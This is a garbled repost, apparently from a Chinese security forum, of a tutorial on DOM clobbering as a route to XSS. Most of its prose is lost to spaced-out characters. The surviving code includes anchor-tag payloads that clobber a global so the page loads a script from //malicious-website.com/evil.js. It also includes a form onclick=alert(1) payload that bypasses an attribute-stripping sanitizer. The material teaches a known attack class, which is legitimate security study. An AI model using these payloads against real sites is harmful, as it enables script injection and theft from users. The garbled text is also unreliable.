[1895] 2021-08-11_XSS当中的DOMclobbering

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-16
2021-08-11_XSS当中的DOMclobbering X S S D O M   c l o b b e r i n g r v 0 p 1 1 1   D a y 1   2 0 2 1 - 0 8 - 1 1 D O M     H T M L     D O M     J a v a S c r i p t   D O M   c l o b b e r i n g   X S S   H T M L i d n a m e H T M L   D O M   使 使   U R L   D O M     H T M L   使   D O M     J a v a S c r i p t   s u b m i t s u b m i t ( ) H o w   t o   e x p l o i t   D O M - c l o b b e r i n g   v u l n e r a b i l i t i e s   H T M L   s o m e O b j e c t 使 使 I D ,   D O M D O M D O M D O M s o m e O b j e c t 使 n a m e s o m e O b j e c t u r l p o c w i n d o w s o m e O b j e c t i d = s o m e O b j e c t w i n d o w . I d   H T M L   i d   n a m e e m b e d f o r m i m g w i n d o w   J a v a S c r i p t s o m e O b j e c t n a m e s o m e O b j e c t v a r   s o m e O b j e c t   =   w i n d o w . s o m e O b j e c t   | |   { } ; I f   y o u   c a n   c o n t r o l   s o m e   o f   t h e   H T M L   o n   t h e   p a g e ,   y o u   c a n   c l o b b e r   t h e   s o m e O b j e c t   r e f e r e n c e   w i t h   a   D O M   n o d e ,   s u c h   a s   a n   a n c h o r .   C o n s i d e r   t h e   f o l l o w i n g   c o d e : < s c r i p t >     w i n d o w . o n l o a d   =   f u n c t i o n ( ) {         l e t   s o m e O b j e c t   =   w i n d o w . s o m e O b j e c t   | |   { } ;         l e t   s c r i p t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ;         s c r i p t . s r c   =   s o m e O b j e c t . u r l ;         d o c u m e n t . b o d y . a p p e n d C h i l d ( s c r i p t ) ;     } ; < / s c r i p t > < a   i d = s o m e O b j e c t > < a   i d = s o m e O b j e c t   n a m e = u r l   h r e f = / / m a l i c i o u s - w e b s i t e . c o m / e v i l . j s >
s o m e O b j e c t . u r l n a m e a n a m e = u r l w i n d o w . s o m e O b j e c t . u r l w i n d o w . s o m e O b j e c t . u r l H T M L C o l l e c t i o n   g e n e r i c   c o l l e c t i o n H T M L C o l l e c t i o n     i d n a m e   < d i v >         < i m g   i d = " h a h a "   n a m e = " p i c "   s r c = " # "   a l t = " p i c _ 0 "   / >         < i m g   i d = " h a h a "   n a m e = " p i c "   s r c = " # "   a l t = " p i c _ 1 "   / >         < i m g   i d = " h a h a "   n a m e = " p i c "   s r c = " # "   a l t = " p i c _ 2 "   / > < / d i v > < s c r i p t >         / / n a m e p i c         f o r   ( v a r   i   =   0 ;   i   <   p i c . l e n g t h ;   i + + )   {                 c o n s o l e . l o g ( p i c [ i ] ) ;                 c o n s o l e . l o g ( w i n d o w . p i c [ i ] ) ;                 c o n s o l e . l o g ( " - - - - - - - - - - - - - - - - - - - - - - - - - - - " ) ;                 / / i d w i n d o w . h a h a . p i c                 c o n s o l e . l o g ( w i n d o w . h a h a . p i c )         } ; < / s c r i p t >
  n a m e = u r l   h r e f = / / m a l i c i o u s - w e b s i t e . c o m / e v i l . j s   u r l = h r e f = / / m a l i c i o u s - w e b s i t e . c o m / e v i l . j s a s c r i p t s r c h r e f s c r i p t s r c h r e f J a v a S c r i p t 使 t o S t r i n g a h r e f   < d i v   i d = " t e s t " > < d i v > < / d i v > < / d i v > < s c r i p t >     w i n d o w . o n l o a d   =   f u n c t i o n ( ) {         l e t   s o m e O b j e c t   =   w i n d o w . k k o b j e c t   | |   { } ;         l e t   s c r i p t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ;         s c r i p t . s r c   =   k k o b j e c t ;         d o c u m e n t . b o d y . a p p e n d C h i l d ( s c r i p t ) ;     } ; < / s c r i p t > < a   i d = k k o b j e c t   h r e f = " h t t p s : / / w w w . b a i d u . c o m " > < / a >
E x p l o i t i n g   D O M   c l o b b e r i n g   t o   e n a b l e   X S S f o r m i n p u t 使 D O M 使 使 a t t r i b u t e s D O M : D O M f o r m a t t r i b u t e s f o r ( i o n c l i c k a l e r t ( ) a t t r i b u t e f o r m < f o r m   o n c l i c k = a l e r t ( 1 ) > < i n p u t   i d = a t t r i b u t e s > C l i c k   m e c o n s t   d a t a   =   d e c o d e U R I C o m p o n e n t ( l o c a t i o n . h a s h . s u b s t r ( 1 ) ) ; ; c o n s t   r o o t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' d i v ' ) ; r o o t . i n n e r H T M L   =   d a t a ; f o r   ( l e t   e l   o f   r o o t . q u e r y S e l e c t o r A l l ( ' * ' ) )   {         l e t   a t t r s   =   [ ] ;         f o r   ( l e t   a t t r   o f   e l . a t t r i b u t e s )   {                 a t t r s . p u s h ( a t t r . n a m e ) ;         }         f o r   ( l e t   n a m e   o f   a t t r s )   {                 e l . r e m o v e A t t r i b u t e ( n a m e ) ;         } } d o c u m e n t . b o d y . a p p e n d C h i l d ( r o o t ) ;
c o n s o l e i n p u t   < s c r i p t >     w i n d o w . o n l o a d   =   f u n c t i o n ( ) {         l e t   s o m e O b j e c t   =   w i n d o w . t e s t 1   | |   { } ;         c o n s o l e . l o g ( w i n d o w . t e s t 1 . a t t r i b u t e s ) ;     } ; < / s c r i p t > < f o r m   i d = " t e s t 1 "   o n c l i c k = a l e r t ( 1 ) > < i n p u t   i d = a t t r i b u t e s > C l i c k   m e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则